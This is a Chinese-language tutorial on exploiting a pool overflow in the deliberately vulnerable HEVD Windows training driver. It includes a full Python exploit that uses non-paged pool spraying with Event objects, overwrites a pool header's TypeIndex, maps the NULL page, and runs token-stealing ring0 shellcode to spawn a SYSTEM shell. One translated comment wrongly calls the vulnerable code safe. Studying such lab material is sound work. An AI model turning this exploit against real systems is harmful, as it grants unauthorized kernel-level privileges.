Windows 核心 利用教程 4 池風水 -> 池溢位
前言
這一系列文章源於作者學習HackSystem開設課程--windows 核心利用訓練課程的學習筆記,到目前為止作者已釋出4篇:
1.環境搭建2.棧溢位3.任意記憶體覆蓋4.池溢位
概要
我們已經在上一章探討了任意記憶體覆蓋漏洞,在本章我們討論另一個漏洞,池溢位。簡單來說,就是池緩衝區的越界。這部分可能會比較難,我們將深入探討如何通過修改池,從而控制應用程式流,確保每次都可靠地指向我們的shellcode地址。所以花點時間好好理解我之前文章中的概念,之後再來嘗試利用本文中的漏洞。
再次感謝hacksysteam的驅動程式。
池風水
在我們深入探討池溢位這個主題前, 我們需要先了解下池的基本概念, 如何根據需要操縱它。 Tarjei Mandt寫了一篇很好的關於這個主題的文章,強烈建議在繼續閱讀本文前先瀏覽Tarjei Mandt 的文章,因為你需要對池概念有一個紮實的理解。
核心池類似於Windows 中的堆, 因為它的作用也是用來動態分配記憶體。 就像堆噴修改正常應用程式的堆一樣,我們需要在核心領域找到一種辦法來修改記憶體池,以便在記憶體區域精確地呼叫我們的shellcode。 理解記憶體分配器的概念以及如何影響池分配和釋放機制相當重要。
至於我們的 HEVD 驅動, 有漏洞的使用者緩衝區被分配在非分頁池,所以我們需要找到一種方法來修改非分頁池。 Windows 提供了一種Event物件, 該物件儲存在非分頁池中,可以使用CreateEvent API 來建立:
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
在這裡我們需要用這個API建立兩個足夠大的Event物件陣列,然後通過使用CloseHandle API 釋放某些Event 物件,從而在分配的池塊中造成空隙,經合併形成更大的空閒塊:
BOOL WINAPI CloseHandle(
_In_ HANDLE hObject
);
在這些空閒塊中,我們需要將有漏洞的使用者緩衝區插進去,以便每次準確地覆蓋正確的記憶體位置。因為我們會破壞Event物件的相鄰頭部,以便跳轉到包含shellcode的地址。下面用一個粗略的圖表來展示下我們正要做的工作:
在這之後,我們會把指標指向shellcode,這樣就可以通過操縱損壞的池頭部來呼叫它。 我們偽造一個OBJECT_TYPE頭,覆蓋指向OBJECT_TYPE_INITIALIZER中的一個過程的指標。
分析
為了便於分析漏洞, 先看下PoolOverflow.c 檔案:
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// 分配池塊
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// 驗證緩衝區是否駐留在使用者模式下
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// 安全注意: 因為開發者傳遞的size大小 等同於 RtlCopyMemory()/memcpy()分配的池塊大小,所以是安全的,因此沒有溢位。
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflow\n");
// 漏洞注意:這是一個基於池的溢位
// 因為沒有檢查開發者傳遞的size大小 是否大於或者等於 RtlCopyMemory()/memcpy()分配的池塊大小,所以是安全的,因此沒有溢位
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
似乎看起來有點複雜,但是這裡的漏洞很明顯,在最後一行開發人員直接傳遞值而沒有驗證大小,這導致了一個基於池的溢位漏洞。
我們將按照上一篇文章中的描述找到這個漏洞的IOCTL號:
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)
計算得出 IOCTL 為 0x22200f。
用IDA分析一下驅動中的 TriggerPoolOverflow 函式:
我們用標籤“Hack”指代有漏洞的緩衝區標記,長度為0x1f8(504)。由於現在有足夠的關於漏洞的資訊,讓我們直接跳到有趣的部分,利用它。
利用
讓我們從基本的框架開始, IOCTL 為 0x22200f。
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)
buf = "A"*100
bufLength = len(buf)
kernel32.DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
我們正在觸發池溢位IOCTL,可以看到標籤“Hack”,大小為0x1f8(504),嘗試下賦給UserBuffer 0x1f8個位元組的大小。
我們現在不應該破壞相鄰的記憶體塊,因為現在UserBuffer的值為邊界值,來分析一下池:
可以看到使用者緩衝區被完美地分配了,結束地址為下一個池塊起始地址:
溢位會是災難性的,並且將直接導致系統藍屏崩潰,破壞了相鄰的池塊頭部。
在這裡很有趣的一件事是,我們如何能夠通過溢位控制相鄰的頭部。我們利用的這個漏洞可以以修改池的方式來使得池不再隨機化。那麼我此前討論的 CreateEvent API 可以勝任這個工作,它的大小為0x40個位元組,正好可以匹配池的大小0x200個位元組。
我們會噴射大量Event物件,把它們的控制程式碼儲存在陣列中,看下如何影響我們的池:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)
buf = "A"*504
buf_ad = id(buf) + 20
spray_event1 = spray_event2 = []
for i in xrange(10000):
spray_event1.append(kernel32.CreateEventA(None, False, False, None))
for i in xrange(5000):
spray_event2.append(kernel32.CreateEventA(None, False, False, None))
kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
我們的Event物件被噴射到非分頁池中,現在我們需要在這些記憶體塊創造一些空隙,然後把我們有漏洞的Hack緩衝區重新分配到這些空隙中。在重新分配有漏洞的緩衝區後,我們需要破壞相鄰的池頭部,以指向我們的shellcode地址。Event物件的大小為0x40個位元組(0x38+0x8),包括池頭部。
來分析一下頭部:
由於Event物件被噴射到非分頁池中,所以我們可以將這些值加到緩衝區末尾,來實現利用。但是,簡單這樣做是行不通的,我們來研究下頭部的資料結構,再稍作修改:
我們感興趣的部分是TypeIndex ,它實際上是指標陣列中的偏移量大小,它定義了Windows所支援的每個物件的OBJECT_TYPE,來分析一下:
這看起來可能有點複雜,但我已經標記出了重要的部分:
第一個指標是 00000000,在Windows 7下非常重要(下面解釋);
下一個突出顯示的指標是 85f05418, 這是從0xc開始的偏移量;
分析到這,可以看出這是Event物件型別;
現在最有趣的是偏移量0x28 處的TypeInfo成員:
這個成員的最後部分有一些程式呼叫,我們可以從提供的程式中挑選以供己用,在這選擇0x038處的 CloseProcedure
CloseProcedure 的偏移量為 0x28 + 0x38 = 0x60
我們會覆蓋0x60處的這個指標,讓它指向我們的shellcode地址,然後呼叫CloseProcedure方法,從而最終執行我們的shellcode。
我們的目標是把TypeIndex的偏移量從0xc改為0x0,因為第一個指標是空指標,在Windows 7 中有一個漏洞,可以呼叫 NtAllocateVirtualMemory來對映到Null頁面:
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
然後呼叫WriteProcessMemory 覆蓋0x60處的指標,指向shellcode地址:
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
把所有的內容整合一下,python指令碼大體如下:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)
ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)
shellcode = "\x90" * 8
shellcode_address = id(shellcode) + 20
kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(shellcode_address)), 0x4, byref(c_ulong()))
buf = "A" * 504
buf += struct.pack("L", 0x04080040)
buf += struct.pack("L", 0xEE657645)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00000040)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00000001)
buf += struct.pack("L", 0x00000001)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00080000)
buf_ad = id(buf) + 20
spray_event1 = spray_event2 = []
for i in xrange(10000):
spray_event1.append(kernel32.CreateEventA(None, False, False, None))
for i in xrange(5000):
spray_event2.append(kernel32.CreateEventA(None, False, False, None))
for i in xrange(0, len(spray_event2), 16):
for j in xrange(0, 8, 1):
kernel32.CloseHandle(spray_event2[i+j])
kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)
if __name__ == "__main__":
main()
有漏洞的緩衝區現在位於我們建立的Event物件之間的空隙中。
TypeIndex由 0xc 修改為 0x0
shellcode地址佈置完成!
現在,只需要呼叫 Closeprocedure,在 虛擬記憶體中 載入shellcode, shellcode應該完美執行。最終版本的exploit如下:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
def main():
kernel32 = windll.kernel32
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(0)
#定義 ring0級的shellcode , 載入.
shellcode = bytearray(
"\x90\x90\x90\x90" # NOP Sled
"\x60" # pushad
"\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx
"\x75\xED" # jnz
"\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
"\x61" # popad
"\xC2\x10\x00" # ret 16
)
ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40))
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr))
#分配Null頁面,虛擬記憶體地址: 0x0000 - 0x1000
#基址為0x1
#分配0x100(256)個位元組大小的記憶體塊
print "\n[+] Allocating/Mapping NULL page..."
null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)
if null_status != 0x0:
print "\t[+] Failed to allocate NULL page..."
sys.exit(-1)
else:
print "\t[+] NULL Page Allocated"
#將 ring0級 指標寫入Null 頁面,為了呼叫CloseProcedure @ 0x60
print "\n[+] Writing ring0 pointer {0} in location 0x60...".format(hex(ptr))
if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(ptr)), 0x4, byref(c_ulong())):
print "\t[+] Failed to write at 0x60 location"
sys.exit(-1)
#定義使用者緩衝區
#長度大小 0x1f8 (504), 破壞相鄰池頭部指向Null 頁面
buf = "A" * 504
buf += struct.pack("L", 0x04080040)
buf += struct.pack("L", 0xEE657645)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00000040)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00000001)
buf += struct.pack("L", 0x00000001)
buf += struct.pack("L", 0x00000000)
buf += struct.pack("L", 0x00080000)
buf_ad = id(buf) + 20
#將Event物件噴射到非分頁池,創造兩個足夠大的(10000和 5000)的塊。
spray_event1 = spray_event2 = []
print "\n[+] Spraying Non-Paged Pool with Event Objects..."
for i in xrange(10000):
spray_event1.append(kernel32.CreateEventA(None, False, False, None))
print "\t[+] Sprayed 10000 objects."
for i in xrange(5000):
spray_event2.append(kernel32.CreateEventA(None, False, False, None))
print "\t[+] Sprayed 5000 objects."
#在噴射區域造成空洞,以便將使用者緩衝區分配到該地址
print "\n[+] Creating holes in the sprayed region..."
for i in xrange(0, len(spray_event2), 16):
for j in xrange(0, 8, 1):
kernel32.CloseHandle(spray_event2[i+j])
kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)
#通過釋放Event 物件 關閉控制程式碼,最終執行shellcode
print "\n[+] Calling the CloseProcedure..."
for i in xrange(0, len(spray_event1)):
kernel32.CloseHandle(spray_event1[i])
for i in xrange(8, len(spray_event2), 16):
for j in xrange(0, 8, 1):
kernel32.CloseHandle(spray_event2[i + j])
print "\n[+] nt authority\system shell incoming"
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
得到系統管理員許可權:
本文由看雪翻譯小組 fyb波 編譯,來源rootkits 轉載請註明來自看雪社群
相關文章
- windows核心程式設計--執行緒池2020-04-04Windows程式設計執行緒
- 連線池溢位以及大量查詢系統表的問題2015-10-20
- SYMANTEC防火牆核心溢位利用之非安全返回法二(轉)2007-09-18防火牆
- 棧溢位基礎及利用2021-03-09
- Linux kernel 堆溢位利用方法2024-10-18Linux
- Java執行緒池核心原理剖析2019-03-27Java執行緒
- 執行緒池核心原理淺析2024-05-08執行緒
- scrapy五大核心元件和中介軟體以及UA池和代理池2019-03-04元件
- Linux kernel 堆溢位利用方法(二)2024-11-11Linux
- 記憶體池、程式池、執行緒池2017-10-19記憶體執行緒
- Jdbc 封裝, 利用反射, 加入連線池2018-11-21JDBC封裝反射
- Spring Boot中如何配置執行緒池拒絕策略,妥善處理好溢位的任務2021-09-23Spring Boot執行緒
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 從CVE復現看棧溢位漏洞利用2024-04-12
- 64位程式池HashCode相容處理2013-12-22
- 記憶體溢位:native溢位 和 上層溢位2016-11-17記憶體溢位
- Nonpaged Pool(非分頁池) 和 Paged Pool(分頁池) 在Windows中的用處2013-06-24Windows
- 利用程序池給客戶端傳檔案2024-06-04客戶端
- 執行緒池、連線池、物件池從0到12017-12-15執行緒物件
- mysql資料庫連線池配置教程2021-09-09MySql資料庫
- Python程式專題4:程式池Pool2019-02-16Python
- golang workpool,工作池,執行緒池2019-10-27Golang執行緒
- python爬蟲利用requests製作代理池s2019-12-04Python爬蟲
- 教你正確地利用Netty建立連線池2016-04-09Netty
- Java面試必問之執行緒池的建立使用、執行緒池的核心引數、執行緒池的底層工作原理2022-02-10Java面試執行緒
- 阿里大佬講解Java記憶體溢位示例(堆溢位、棧溢位)2020-12-12阿里Java記憶體溢位
- 緩衝區溢位漏洞的原理及其利用實戰2022-03-01
- 程式池2019-02-14
- Windows Tomcat 記憶體溢位解決方法2020-12-21WindowsTomcat記憶體溢位
- Python執行緒池與程式池2020-07-03Python執行緒
- 程式池、執行緒池效率測試2018-03-13執行緒
- 物聯網學習教程——執行緒池2019-09-23執行緒
- Java執行緒池ThreadPoolExecutor極簡教程2022-05-25Java執行緒thread
- 徹底搞清楚class常量池、執行時常量池、字串常量池2022-02-10字串
- 全新到貨IBM DS4500電池/FASTT900電池/DS4400電池/FASTT700電池/FASTT500電池2009-04-17IBMAST
- 利用執行緒池給客戶端傳檔案2024-06-07執行緒客戶端
- Java核心(二)深入理解執行緒池ThreadPool2018-11-19Java執行緒thread
- Java虛擬機器4:記憶體溢位2015-09-24Java虛擬機記憶體溢位